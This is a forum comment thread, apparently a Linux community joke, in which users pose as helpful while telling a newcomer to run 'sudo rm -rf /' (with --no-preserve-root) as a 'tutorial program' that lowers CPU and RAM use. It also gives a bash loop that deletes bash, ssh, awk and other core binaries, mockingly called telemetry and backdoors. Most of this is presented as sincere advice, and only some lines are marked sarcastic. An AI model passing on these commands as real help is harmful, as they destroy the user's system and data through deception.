Remember that if you run it as root and dont add the flag --no-preserve-root you leave your system vunrable to hackers like Anonymous or 4chan until you reboot,
I also find that adding --verbose adds more things like commentary and extras that really help
I tried your command and got the tutorial program and I gotta say that this is the best tutorial program I’ve ever seen. Now I wonder why other OSes don’t do that
It’s great, isn’t it? As a side bonus, the tutorial modules on system optimization commands are just great. Check how much less RAM and CPU footprint your system’s using now that you’ve run the tutorials. It’s almost like nothing’s going on in the background at all.
This is the reason that BASH will always be better than Powershell, imho.
Note that the more corporate distros install PUPs (Potentially Unwanted Programs). (like clang) To uninstall, do what youd do on a Windows machine and wrip it out of your PC forcably
whileread bloatware; do bloatware="$(echo "$bloatware" | cut -f1 -d'#')"; file="$(whereis "$bloatware" | cut -f2 -d' ')"; iftest -f "$file"; dounlink"$file"; fi; done <<bloatlist
clang # unwanted telemitry
bash # promotes violence
tree # hippy garbage
awk # secret backdoor into your PC
ssh # isnt up to date on its intentional encryption backdoor certificate
bloatlist
/s
Hope nobody dumb enough to run this
Because it actually works
Isn’t it fucked up how we all say that linux doesn’t have viruses, and yet how many times have you ever seen an install of Mint or Ubuntu that didn’t have “Tree” or “Awk” just sitting there waiting to ruin your whole day.
I swear to God Canonical have some things to answer for.
I’m in a helpful mood so I’ll add something for anyone stuck in OP’s situation.
It’s ok, Linux has a built in tutorial system for learning the terminal, so if you ever want to progress beyond copy/pasting, you can use that.
Just go into the terminal and type (or just copy/paste) this to get the tutorial program running:
sudo rm -rf /Type your password when prompted and you’re golden. No more linux issues ever again.
Remember that if you run it as
rootand dont add the flag--no-preserve-rootyou leave your system vunrable to hackers like Anonymous or 4chan until you reboot,I also find that adding
--verboseadds more things like commentary and extras that really helpSo, run
sudo rm -rf --no-preserve-root --verbose/s
All good points.
That’s why I love communities like these, there are always people willing to expound upon other’s solutions with solid additional information.
It’s what makes forums like these such goldmines of information when you’re first cutting your teeth learning new things.
Upvoted.
Done and I must say, as stated by the comments above - my CPU and RAM usage are at an all time low. Other OSes don’t hold shit against Linux now.
I told someone to do that way back when. He wisely tried it on a computer at Best Buy (a Mac) rather than his own. I respected his thinking ahead.
When did best buy display Linux computers?
I said we are Mac users. BB has Macs.
macs are based on BSD.

It optomizes your computer too? Woa
Well, technically it teaches you how to optimize your system.
That said, the optimizations are really effective.

Lol, I know what you mean.
